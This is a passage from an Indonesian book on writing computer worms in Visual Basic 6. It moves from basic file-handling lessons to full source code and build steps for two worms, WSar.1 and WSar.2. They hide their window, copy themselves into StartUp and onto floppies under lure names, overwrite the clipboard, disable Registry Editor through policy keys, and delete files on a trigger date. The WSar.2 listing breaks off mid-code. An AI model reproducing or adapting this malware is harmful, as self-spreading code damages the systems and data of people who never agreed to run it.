6.8.4 MELIHAT DAN MENGUBAH ATRIBUT PADA FILEUntuk memberi atribut suatu file, bisa menggunakan sintaksis berikut ini:
SetAttr ([filename]), [constants / value]
• filename : Menentukan path dan file yang akan diset-ting atributnya.
• Constanst/value : menentukan atribut dengan menggunakan symbolic constants atau value, diantaranya:
Symbolic Constant Value Keterangan
vbNormal 0 Jenis atribut normal, menandakan file tidak diatur oleh atribut apapun.
vbReadOnly 1 Read only
vbHidden 2 Hidden
vbSystem 4 System
vbVolume 8 Volume label
vbDirectory 16 Directory
vbArchive 32 Archieve
Untuk memberi lebih dari satu atribut dengan menggunakan value, tinggal menambah bilangan pada atribut. Misalnya untuk memberi atribut Archieve (32) dan Read only (1) secara bersamaan maka digu-nakan bilangan 33. Sedangkan untuk menggunakan symbolic constant, yaitu dengan menambahkan tanda tambah "+" disetiap constant beri-kutnya.
Contoh, untuk mengatur atribut file: "c:\windows\notepad .exe" men-jadi Archieve dan Hidden, maka dapat menggunakan sintaksis berikut ini:
SetAttr("c:\windows\notepad.exe"), 34
93Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
6. K
ode
Pro
gram
Atau
SetAttr("c:\windows\notepad.exe"), vbArchiev e +vbHidden
Untuk bisa mengetahui atribut suatu file, bisa menggunakan sintaksis berikut ini:
GetAttr ([filename])
• filename : menentukan path dan file yang ingin diketahui atribut-nya.
Contoh, untuk mengetahui atribut pada file: "c:\windows\calc.exe" dan menampilkannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini:
MsgBox GetAttr("c:\windows\calc.exe")
Sintaksis ini akan memberikan hasil berupa value seperti pada cara pembuatan atribut: 1 untuk Read only, 2 untuk Hidden, dan seterus-nya.
6.8.5 MENGETAHUI BESAR FILEUntuk mengetahui besar kapasitas suatu file, bisa menggunakan sin-taksis berikut ini:
FileLen([filename])
• filename : menentukan path dan file yang akan di ketahui besar file-nya.
94Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 6. K
ode program
Contoh, untuk mengetahui kapasitas pada file: "c:\windows\calc.exe" dan menampilkannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini:
MsgBox FileLen("c:\windows\calc.exe")
6.8.6 MENGETAHUI TANGGAL DAN WAKTU FILEUntuk mengetahui kapan suatu file dibuat, bisa menggunakan sintak-sis berikut ini:
FileDateTime([filename])
• filename : menentukan path dan file yang akan di ketahui tanggal atau waktu file-nya.
Contoh, untuk mengetahui tanggal dan waktu pada file: "c:\windows\calc.exe" dan menampilkannya pada sebuah kotak pesan, dapat meng-gunakan sintaksis berikut ini:
MsgBox FileDateTime("c:\windows\calc.exe")
6.8.7 MENGETAHUI DRIVE DAN DIREKTORI AKTIFUntuk mengetahui direktori apa yang sedang aktif, bisa menggunakan sintaksis berikut ini:
CurDir([drive])
• drive : menentukan drive pada harddisk yang akan diketahui direktori aktifnya, apabila drive tidak ditentukan maka secara default akan diatur pada drive yang aktif saat itu.
95Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
6. K
ode
Pro
gram
Contoh, untuk mengetahui direktori aktif pada drive C dan menampil-kannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini:
MsgBox CurDir("C")
6.8.8 MENGATUR DRIVE AKTIFUntuk membuat suatu drive menjadi aktif, bisa menggunakan sintaksis berikut ini:
ChDrive([drive])
• drive : menentukan drive pada harddisk yang akan dijadikan drive aktif.
Contoh, untuk mengatur drive aktif pada drive D, dapat menggunakan sintaksis berikut ini:
ChDrive("D")
6.8.9 MENGATUR DIREKTORI AKTIFUntuk membuat suatu direktori menjadi aktif, bisa menggunakan sintaksis berikut ini:
ChDir([directory])
• directory : menentukan directory yang akan dijadikan direktori aktif.
Contoh, untuk mengatur direktori aktif pada direktori: "C:\Windows", dapat menggunakan sintaksis berikut ini:
ChDir("C:\Windows")
96Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 6. K
ode program
6.8.10 MEMBUAT DIREKTORI BARUUntuk membuat suatu direktori baru, bisa menggunakan sintaksis berikut ini:
MkDir([path])
• path : menentukan drive dan directory yang akan dibuat.
Contoh, untuk membuat suatu direktori "Contoh" pada drive C, dapat menggunakan sintaksis berikut ini:
MkDir("C:\Contoh")
6.8.11 MENGHAPUS DIREKTORIUntuk menghapus suatu direktori, bisa menggunakan sintaksis berikut ini:
RmDir([path])
• path : menentukan drive dan directory yang akan dihapus.
Contoh, untuk menghapus direktori "Contoh" pada drive C, dapat menggunakan sintaksis berikut ini:
RmDir("C:\Contoh")
Catatan : Untuk menghapus suatu direktori, maka direktori yang akan dihapus harus benar-benar empty (kosong), tidak berisi file atau sub-direktori apapun.
97Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
6. K
ode
Pro
gram
6.8.12 MENGUBAH NAMA DIREKTORIUntuk mengubah nama suatu direktori, bisa menggunakan sintaksis berikut ini:
Name [source] As [destination]
• source : menentukan drive, path dan direktori yang akan diubah
• destination : menentukan nama direktori baru dengan drive dan path yang sama.
Contoh, untuk mengubah nama direktori: "C:\Contoh" menjadi direk-tori: "C:\Misal" dapat menggunakan perintah berikut ini:
Name "C:\Contoh" As "C:\Misal"
6.9 OPERASI FILE TEXTDengan Visual Basic, pengoperasian file text menjadi mudah dan sederhana. Berikut ini akan diberikan contoh bagaimana membuka atau membuat suatu file text.
6.9.1 MEMBUAT FILE TEXT Untuk membuat suatu file text baik yang memiliki ekstensi txt, bat, doc, vbs, htm, reg, ini, atau file batch lainnya, dapat menggunakan procedure sebagai berikut:
Open [filename] For Output As #numPrint #num, ["text"]Close num
98Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 6. K
ode program
• filename : menentukan path dan file yang akan berlaku sebagai output. Apabila terdapat file dengan nama dan path yang sama maka file tersebut akan di overwrite
• num : bilangan Integer
• text : isi dari file text yang ingin ditulis
Contoh, untuk membuat file: "c:\runner.bat", dapat menggunakan procedure, berikut ini:
Private Sub Form_Load() Dim filenya As String
filenya = "c:\runner.bat" Open filenya For Output As #1 Print #1, "rem runner winword.exe w32.exe" Print #1, "command /c %1" Print #1, "command /c %2" Close(1)End Sub
6.9.2 MEMBACA FILE TEXT Untuk membaca suatu file text, dapat menggunakan procedure sebagai berikut:
Open [filename] For Input As #num[content] = Input(LOF(num), num)Close num
• filename : menentukan path dan file yang akan berlaku sebagai input
• num : bilangan integer
• content : variabel yang mewakili isi dari file text
99Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
6. K
ode
Pro
gram
Contoh, untuk membaca file: "c:\runner.bat" dan menampilkannya pada suatu TextBox bernama Text1, dapat menggunakan procedure, berikut ini:
Private Sub Form_Load() Dim filenya, isifile as string
filenya = "c:\runner.bat" Open filenya For Input As #1 isifile = Input(LOF(1),1) Close 1 Text1.text = isifileEnd Sub
6.10 OPERASI FILE BINARYSeperti pada pengoperasian file text, maka kita dapat memproses file binary dengan cara yang hampir sama. Berikut akan di contohkan bagaimana memanfaatkan suatu file binary.
Untuk membuka suatu file binary, bisa menggunakan statement Open dengan opsi For Binary. Untuk membaca isi file digunakan statement Get, kemudian menggunakan statement Put untuk operasi penulisan.
6.10.1 MEMBUAT FILE BINARY Untuk membuat atau menulis suatu file binary, dapat menggunakan procedure sebagai berikut:
content = ["text"]Open destination For Binary Access Write As #1Put #1, , contentClose #1
• destination : menentukan path dan file yang akan berlaku sebagai output
• content : variabel yang mewakili isi dari file
100Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 6. K
ode program
Contoh, untuk membuat file: "c:\contoh.bat" dengan isi file berupa teks "echo belajar file binary", dapat menggunakan procedure, berikut ini:
Private Sub Form_Load() Dim filename, content As String
filename = "c:\contoh.bat" content = "echo belajar file binary" Open filename For Binary Access Write As #1 Put #1, , content Close #1End Sub
6.10.2 MEMBACA FILE BINARY Untuk membaca suatu file binary, dapat menggunakan procedure sebagai berikut:
content = Space(FileLen(filename))Open filename For Binary Access Read As #1Get #1, , content Close #1
• filename : menentukan path dan file yang akan berlaku sebagai input
• content : variabel yang mewakili isi dari file
Contoh, untuk membaca file: "c:\windows\notepad.exe" dan me-nampilkan huruf mulai dari karakter ke 113 hingga 4 karakter dan menampilkannya pada suatu TextBox bernama Text1, dapat meng-gunakan procedure, berikut ini:
Private Sub Form_Load() Dim filename, content As String filename = "c:\windows\notepad.exe" content = Space(FileLen(filename)) Open filename For Binary Access Read As #1 Get #1, , content Close #1 Text1.text = Mid(content, 113, 4)End Sub
101Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
6. K
ode
Pro
gram
6.11 FILE SYSTEM OBJECT (FSO)Visual basic 6.0 menyertakan sebuah library yang meliputi perintah-perintah dasar seperti delete, copy, move dan lain-lain, serta mampu mendapatkan suatu informasi eksternal yang umumnya tidak terdapat pada function Visual Basic. Bentuk umumnya adalah sebagai berikut:
Set fso = CreateObject("scripting.filesystemobject")fso.myobject
1. fso : variabel untuk pembuatan suatu object2. myobject : variabel yang mewakili suatu object
Contoh, untuk mengetahui direktori System pada Windows dan me-nampilkannya pada suatu kotak pesan, dapat menggunakan procedure berikut ini:
Private Sub Form_Load() Dim sysdir As Variant Dim fso As Variant Set fso=CreateObject("scripting.
filesystemobject") MsgBox fso.GetSpecialFolder(1)End Sub
Berikut adalah beberapa function yang dapat digunakan:
Sintaksis Keterangan
CopyFile Source, Destination, [Overwrite]
Digunakan untuk meng-copy file
CopyFolder Source, Destination, [Overwrite]
Digunakan untuk meng-copy folder beserta isi-isinya
CreateFolder(Path) As Folder Digunakan untuk membuat suatu direktori atau folder baru
CreateTextFile(FileName, [Over-write], [Unicode]) As TextStream
Digunakan untuk membuat suatu file text
DeleteFile FileSpec, [Force] Digunakan untuk menghapus satu atau lebih file dan bisa menggu-nakan wildcards; atur Force pada nilai true untuk tetap menghapus walaupun file memiliki atribut read only
102Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 6. K
ode program
DeleteFolder(FolderSpec, [Force]) Digunakan untuk menghapus suatu folder beserta isi-isinya, atur Force pada nilai true untuk tetap menghapus walaupun file memiliki atribut Read only
DriveExists(DriveName) Memberikan nilai true jika drive yang ditentukan ada
FileExists(FileName) Memberikan nilai true jika file yang ditentukan ada
FolderExists(FolderName) Memberikan nilai true jika folder yang ditentukan ada
GetDriveName(Path) Mengambil drive dari suatu path
GetExtensionName(FileName) Mengambil ekstensi dari file
GetFileName(FileName) Mengambil nama file dan ekstensi tanpa path lengkap
GetParentFolderName(Path) Untuk mendapatkan folder induk dari suatu path
GetSpecialFolder(SpecialFolder) As Folder
Untuk mendapatkan suatu folder spesial pada Windows.
0: untuk Windows Folder1: untuk System Folder2: untuk Temporary Folder
MoveFile(Source, Destination) Digunakan untuk memindahkan suatu file ke lokasi berbeda
MoveFolder(Source, Destination) Digunakan untuk memindahkan suatu folder ke lokasi berbeda
Contoh lain, untuk meng-copy file dari: "c:\windows\notepad.exe" ke direktori A pada disket, dapat menggunakan procedure berikut ini:
Private Sub Form_Load() Dim sysdir As Variant Dim fso As Variant Set fso=CreateObject("scripting.filesystemobject") fso.copyfile "c:\windows\notepad.exe", "a:\"End Sub
103Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
7. W
orm
WS
ar.1
BAB 7WORM WSar.1
Kenapa bab ini ada?
Bab ini adalah salah satu bab inti dari buku ini, yang memuat tentang cara-cara pembuatan worm. Perlu untuk penulis ingatkan kembali, bahwa membicarakan masalah pembuatan suatu worm membutuhkan pemahaman tentang tanggung jawab moral yang besar, karena worm dapat menimbulkan kerugian yang sangat besar baik berupa materiil maupun non materiil. Namun demikian, penulis tetap memberikan trik-trik real yang digunakan para worm writer dalam membuat suatu worm, karena akan mengingatkan pembaca semua, bahwa worm adalah program yang sangat berbahaya dan dapat dibuat dengan mudah.
104Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 7. W
orm W
Sar.1
Banyak jalan menuju Roma, mungkin ungkapan ini tidak berlaku pada proses hacking saja tetapi juga sangat cocok apabila ungka-pan ini digunakan dalam proses pembuatan suatu worm.
Sudah menjadi suatu rahasia umum dimana para worm writer selalu mencari vulnerability baru karena vulnerability lama kebanyakan su-dah memiliki patch untuk memperbaiki celah tersebut, baik dari vendor antivirus maupun dari vendor aplikasi atau sistem operasi itu sendiri. Teknik yang dibuatpun menjadi beragam, penulis sendiri menemukan beberapa trik yang akan dipaparkan pada bab ini.
Sebagai persiapan awal untuk membuat suatu worm, virus atau malcode lain, ada beberapa ketentuan yang harus diperhatikan:
1. Jika memungkinkan, sangat disarankan untuk menggunakan kom-puter tersendiri yang khusus digunakan untuk keperluan ini, dan tidak digunakan oleh banyak orang
2. Gunakan program pembantu seperti Shad-owUser atau DeepFreeze,. Program ini akan membatalkan setiap perubahan yang dilaku-kan bahkan perubahan yang terjadi pada boot sector, sehingga walaupun partisi pada harddisk tak sengaja terformat oleh worm, hanya dengan me-restart komputer maka segalanya akan kembali seperti semula.
Program ini hanya mengembalikan perubahan pada saat komputer di restart, jadi jika ternyata perlu me-restart komputer untuk melihat efek perubahan dari suatu worm, maka cukup dengan melakukan Log Off dan kemudian Log In kembali, karena proses ini akan men-imbulkan efek yang sama dengan restart komputer.
Untuk program DeepFreeze disarankan agar membuat partisi lebih dari satu, misalnya dengan membuat dua partisi dimana partisi C: sebagai drive System Windows dan partisi D: sebagai drive data, kemudian instalkan DeepFreeze hanya pada drive C: saja sehingga data source code yang tersimpan pada drive D: tidak terganggu oleh DeepFreeze. Sementara untuk program ShadowUser lebih flexibel. Anda tinggal menentukan folder apa saja yang ingin dibebaskan dari proteksi
105Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
7. W
orm
WS
ar.1
3. Gunakan program pembantu seperti Virtual PC atau VMWare,. Program ini akan mensimulasikan suatu komputer maya sekaligus dengan jaringannya. Kita dapat membuat suatu lab komputer dengan sistem operasi yang berbeda sekaligus.
Keuntungan lain ternyata kita bisa membuat clonning dari suatu komputer virtual, sehingga apabila system suatu komputer virtual sudah tidak bisa diselamatkan lagi, kita dapat mengganti baru dengan backup clonning yang sudah kita siapkan. Lagi pula kita tidak perlu berpindah-pindah tempat untuk mengoperasikannya.
Penulis juga menyarankan agar menggunakan aplikasi Visual Basic 6.0 Enterprise, karena untuk versi lain seperti Visual Basic 6.0 Learning Edition penulis menemukan batasan-batasan dan ada fasilitas yang tidak bisa digunakan.
7.1 WORM DASAR 1Suatu worm dasar dapat dipandang sebagai satu set instruksi berisi sedikitnya tiga sub-rutin yang terpasang. • Sub-rutin yang pertama berfungsi untuk melakukan penularan
dengan cara membuat clonning (salinan) dirinya sendiri pada suatu system komputer, media penyimpanan atau melalui suatu jaringan.
• Sub-rutin yang kedua berfungsi sebagai live defender (rutin untuk bertahan hidup), yang akan memastikan suatu worm tetap eksis pada suatu host system
• Sub-rutin yang ketiga berfungsi sebagai pengatur payload (muatan maksud tertentu) yang mendikte suatu tindakan untuk dieksekusi. Payload ini pada teorinya bisa berupa apa saja seperti menghapus data, memasang backdoor atau memformat harddisk. Sub-rutin pelengkap lainnya bisa saja sebagai penentu kapan payload tersebut dilakukan.
106Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 7. W
orm W
Sar.1
7..2 ALGORITMAWorm ini bernama WSar.1 (worm dasar 1) yang menggunakan icon dengan gambar sebuah folder dan nama yang unik agar menarik minat user untuk mengeksekusinya, merupakan worm yang sangat sederhana sekali, sehingga hanya dapat menginfeksi sistem operasi Windows 9x dan ME yang terinstal secara default pada drive C. WSar.1 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut:
1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada system komputer
2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori StartUp pada Startmenu
3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A
4. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.1 Ada Pada Komputer Anda" dan menghentikan segala aktifitas worm pada hari tersebut.
7.3 PEMROGRAMAN
Buka aplikasi Visual Basic. Pada kotak dialog New Project klik icon Standard EXE pada tab New dan klik Open, untuk menampilkan kotak dialog New Project bisa dengan klik File pada menubar kemudian pilih New Project.
107Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
7. W
orm
WS
ar.1
Visual basic secara otomatis m e m b e r i k a n sebuah project dengan nama default Project1 dan sebuah form di dalam-nya dengan nama default Form1.
Sebagai langkah pertama, aturlah Project Properties dengan mengklik kanan nama project pada jendela Project Explorer yang dalam hal ini nama project masih bernama Project1, kemudian klik 'Project1 Properties…’
108Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 7. W
orm W
Sar.1
Akan tampil kotak dialog Project Properties dan berada pada tab General.
Ganti Project Name dari nama Project1 menjadi nama worm yaitu: WSar.
Dalam pengisian Project Name, tidak boleh meng-gunakan spasi, tanda titik, tanda koma atau karakter spesial lainnya.
Untuk melanjutkan pin-dah ke menu Make den-gan mengklik tab Make.
Ganti Application Title dari nama Project1 menjadi nama worm yaitu: WSar.1 kemudian hapus value untuk setiap Type pada frame Version Information, terutama untuk Type Company Name.
Tentunya Anda tidak ingin nama perusahaan tempat Anda bekerja menjadi terkenal oleh worm ini bukan ?
Jika value yang dihapus ternyata kembali saat project di-load Anda bisa menghapusnya lagi dan menambahkan sebuah karakter spasi. Kemudian pindah ke menu Compile dengan mengklik tab Compile.
109Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
7. W
orm
WS
ar.1
Pilih opsi Compile to P-Code. Opsi ini akan membuat program yang dihasilkan berukuran lebih kecil daripada meng-gunakan opsi Compile to Native Code. Akhiri dengan menekan tombol OK.
Langkah kedua adalah mengatur properties pada form, dengan mengklik nama form pada jendela Project Explorer.
Dalam hal ini, nama form masih bernama Form1, secara otomatis segala properti pada Form1 akan ditampilkan pada jendela Proper-ties. Anda juga bisa meng-klik ComboBox pada jendela Properties dan pilih object Form1.
110Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 7. W
orm W
Sar.1
Kemudian atur jenis properti berikut ini pada Form1:
Jenis Nilai KeteranganName frmWSar1 Mengatur nama form menjadi frmWSar1
Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.1 menggunakan icon folder.ico
ShowInTaskbar False Tidak menampilkan form pada taskbar
Visible False Tidak menampilkan form pada layar.
Langkah ketiga adalah menambahkan object Timer pada form yang bertujuan untuk melakukan perulangan terhadap instruksi tertentu tanpa memerlukan suatu interaksi oleh user.
Untuk itu klik ganda object Timer pada toolbox yang akan membuat sebuah object Timer dengan nama default Timer1, kemudian atur jenis properti berikut ini pada Timer1:
Jenis Nilai KeteranganName tmrWSar Mengatur nama Timer menjadi tmrWSar
Enable True Pastikan Timer akan aktif saat form di-load
Interval 60000 Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit
Langkah keempat adalah mengetikan kode program worm. Untuk itu klik ganda bidang form hingga jendela Code Editor tampil dengan
langsung membuat suatu sub 'Form Load’. Anda juga bisa meng-klik nama form pada jendela Explorer, klik tombol View Code kemudian klik Com-boBox Object pada Code Editor dan pilih Form, klik ComboBox Event dan pilih Load.
111Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
7. W
orm
WS
ar.1
Ketik kode program berikut ini:
'WSar.1 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On
Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End If Len(Dir$("C:\WINDOWS\Start Menu\Programs\StartUp\Syst" & _ "em File.exe")) = 0 Then FileCopy(WormFile, "C:\WINDOWS\Start Menu\Programs\Star" & _ "tUp\System File.exe") End If If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End IfEnd Sub
Private Sub tmrWSar_Timer() On Error Resume Next If Len(Dir$("A:\Game Collection.exe")) = 0 Then FileCopy(WormFile, "A:\Game Collection.exe") End If If Day(Now) = 13 And Month(Now) = 10 Then MsgBox("WSar.1 Ada Pada Komputer Anda") Unload(Me) End IfEnd Sub
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function
112Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 7. W
orm W
Sar.1
Berikut penjelasan tentang kode program:
'WSar.1 by Achmad Darmal'Tarakan, Kalimantan Timur – IndonesiaOption Explicit
Dua baris teratas adalah baris komentar, diawali dengan single quote. Biasanya digunakan untuk memberi keterangan tentang program atau apapun yang ingin programmer sampaikan kepada pengguna kode tersebut. Statement Option Explicit pada baris ketiga memastikan agar seluruh variabel dideklarasikan.
Private Sub Form_Load()
Baris ini menandakan awal dari sebuah procedure, dalam hal ini adalah procedure yang akan dikerjakan pada event Form_Load, suatu kejadian saat form diaktifkan untuk pertama kali atau sesaat sebelum ditampilkan.
On Error Resume Next
Statement ini akan sangat berguna apabila terjadi suatu kesalahan, karena program akan mengacuhkan kesalahan tersebut dan kemudian mengakses instruksi setelahnya.
If App.PrevInstance = True Then End
Jika file aplikasi yang sama sudah berjalan maka akhiri proses pengek-sekusian file tersebut. Statement ini berguna untuk mencegah suatu file aplikasi yang sama dieksekusi lebih dari satu kali.
If Len(Dir$("C:\WINDOWS\Start Menu\Programs\Star" & _"tUp\System File.exe")) = 0 Then
Jika banyak karakter dalam pencarian "C:\WINDOWS\Start Menu\Programs\StartUp\System File.exe" adalah 0 (nol) maka file tersebut tidak ditemukan (sebaliknya akan menghasilkan nilai 15 jika file terse-but ditemukan. Nilai 15 berasal dari jumlah karakter pada nama file), maka…
113Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
7. W
orm
WS
ar.1
FileCopy WormFile, "C:\WINDOWS\Start Menu\Prog" & _"rams\StartUp\System File.exe"
FileCopy adalah function untuk membuat salinan suatu file. WormFile mewakili nama main file (file utama) yang terproses. WormFile adalah suatu function untuk mendapatkan full path (alamat penuh) file utama, Sedangkan "C:\WINDOWS\StartMenu\Programs\StartUp\System File.ex e" adalah lokasi dan nama file untuk tujuan penyalinan file,
If App.Path = "A:\" Or App.Path = "B:\" Then Unload MeEnd If
Jika path file utama pada drive A atau pada drive B maka akhiri aplikasi. Statement ini bertujuan untuk mencegah file worm yang berada pada disket bertahan di memory. Hal ini sebaiknya juga dilakukan untuk setiap removable disk, seperti disket dan usb disk. Akhirnya, End If digunakan untuk menutup statement If sebelumnya.
End Sub
Statement End Sub berfungsi untuk mengakhiri procedure Form_Load.
Private Sub tmrWSar_Timer() On Error Resume Next If Len(Dir$("A:\Game Collection.exe")) = 0 Then FileCopy(WormFile, "A:\Game Collection.exe") End If If Day(Now) = 13 And Month(Now) = 10 Then MsgBox("WSar.1 Ada Pada Komputer Anda") Unload(Me) End IfEnd Sub
Memulai suatu procedure baru terhadap object tmrWSar (Timer), men-gacuhkan error apabila terjadi dan mengeksekusi instruksi setelahnya. Jika file "A:\Game Collection.exe" tidak ditemukan maka meng-copy file utama ke drive A dengan nama "Game Collection.exe".
Jika tanggal sekarang adalah 13 dan bulan sekarang adalah 10 (Okto-
114Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 7. W
orm W
Sar.1
ber) maka tampilkan pesan "WSar.1 Ada Pada Komputer Anda" serta bersihkan worm dari memory, sehingga untuk hari tersebut worm tidak akan melakukan aktifitas apapun.
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function
Function WormFile dibuat untuk mendapatkan path penuh file utama, dimulai dengan pendeklarasian WPath untuk lokasi dan WName untuk nama file, kemudian menentukan lokasi file utama dengan func-tion App.Path dan menyimpannya dalam variabel WPath..
Jika satu karakter disebelah kanan nilai variabel WPath tidak sama dengan "\" maka nilai variabel WPath ditambahkan karakter "\" di-belakangnya, kemudian mengatur nilai variabel WName dengan nilai berupa nama file utama yang didapat dari function App.EXEName. Karena nama file yang didapatkan dari function ini belum memiliki ekstensi, maka ditambahkan string ".exe" dibelakangnya, menandakan file tersebut adalah file executable.
Langkah kelima adalah meny-impan project yang telah sele-sai dibuat, dengan meng-click File pada menubar kemudian pilih Save Project.
115Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
7. W
orm
WS
ar.1
Kemudian akan tampil kotak dialog Save File As, yang berfungsi untuk menyimpan form, module dan sebagainya yang akan disimpan. Tentukan suatu folder atau buat folder baru dengan mengklik tombol New Folder.
Berikutnya akan tampil kotak dialog Save Project As, yang berfungsi untuk menyimpan project secara keseluruhan.
Langkah terakhir adalah mengkom-pilasi project menjadi suatu file executable. Untuk itu klik File pada menubar, kemu-dian dalam hal ini klik Make WSar.Exe yang akan m e n a m p i l k a n kotak dialog Make Project,
116Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 7. W
orm W
Sar.1
Isi TextBox File name dengan nama File Exe yang akan dibuat yang dalam contoh ini bernama WSar.exe. Pilih direktori tempat file tersebut akan diletakkan. Klik OK untuk memulai proses kompilasi.
Catatan untuk WSar.1 : untuk lokasi direktori StartUp pada Windows 2000 dan XP secara default adalah sebagai berikut:
1. C:\Documents and Settings\Administrator\Start Menu\ Pro-grams\startup
2. C:\Documents and Settings\All Users\Start Menu\Progra ms\startup
3. C:\Documents and Settings\Default User\Start Menu\ Programs\startup
117Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
8. W
orm
WS
ar.2
BAB 8WORM WSar.2
Worm ini bernama WSar.2 (worm dasar 2), suatu worm yang lebih cerdas dibandingkan WSar.1, karena sudah memanfaat-kan WSH (Windows Scripting Host) untuk memanipulasi
registry atau untuk mengetahui direktori spesial pada sistem operasi Windows, dan mencegah user untuk menjalankan aplikasi Registry Editor. Dengan demikian , worm ini tidak hanya mampu menulari sistem operasi Windows 9X dan ME tetapi juga akan menulari sistem operasi Windows NT, 2000 atau XP.
8.1 ALGORITMAWSar.2 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:
1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer
2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup
118Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 8. W
orm W
Sar.2
3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A dengan nama file "rindu.exe"
4. Dampak lain yang ditimbulkan adalah menyisipkan kata "Ohhhh... rinduuuu... dimanakah dirimu.... " setiap kali user menggunakan fungsi Paste pada aplikasi apa saja
5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.2 Ada Pada Komputer Anda", menghapus semua file yang berekstensi tmp pada direktori Windows dan semua file yang berekstensi bak pada direktori System Windows serta seluruh file pada direk-tori temporary Windows, kemudian menghentikan segala aktifitas worm pada hari tersebut.
8.2 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, pada tab Make, atur Application Title menjadi 'WSar.2’ dan hapus value untuk setiap Type pada frame Version Information. Pilih opsi Compile to P-Code pada tab Compile, akhiri dengan menekan tombol OK.
Kemudian tambahkan 2 buah object Timer, dan atur properti berikut untuk masing-masing Timer dan form.
Properti object Form1
Jenis Nilai KeteranganName frmWSar2 Mengatur nama form menjadi frmWSar2
Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.2 menggunakan icon msword.ico
ShowInTaskbar False Tidak menampilkan form pada taskbar
Visible False Tidak menampilkan form pada layar.
119Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
8. W
orm
WS
ar.2
Properti object Timer1
Jenis Nilai KeteranganName tmrWSar2 Mengatur nama Timer menjadi tmrWSar2
Enable True Pastikan Timer akan aktif saat form di-load
Interval 60000 Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit
Properti object Timer2
Jenis Nilai KeteranganName tmrIseng Mengatur nama Timer menjadi tmrIseng
Enable True Pastikan Timer akan aktif saat form di-load
Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 detik
Ketik kode program berikut ini pada frmWSar2:
'WSar.2 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On
Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End Call RegDisable() Call InfectSystem() If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End IfEnd Sub
Private Sub tmrIseng_Timer() On Error Resume Next Clipboard.Clear() Clipboard.SetText(" Ohhhh... rinduuuu... dimanakah dirimu.... ")End Sub
Private Sub tmrWSar2_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End IfEnd Sub
120Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 8. W
orm W
Sar.2
Function RegString(ByVal HiveAndKey As String, ByVal Value As String) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value)End Function
Function RegDword(ByVal HiveAndKey As String, ByVal Value As Integer) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value, "REG_DWORD")End Function
Private Sub RegDisable() On Error Resume Next RegDword("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\" & _ "System\DisableRegistryTools", 1)End Sub
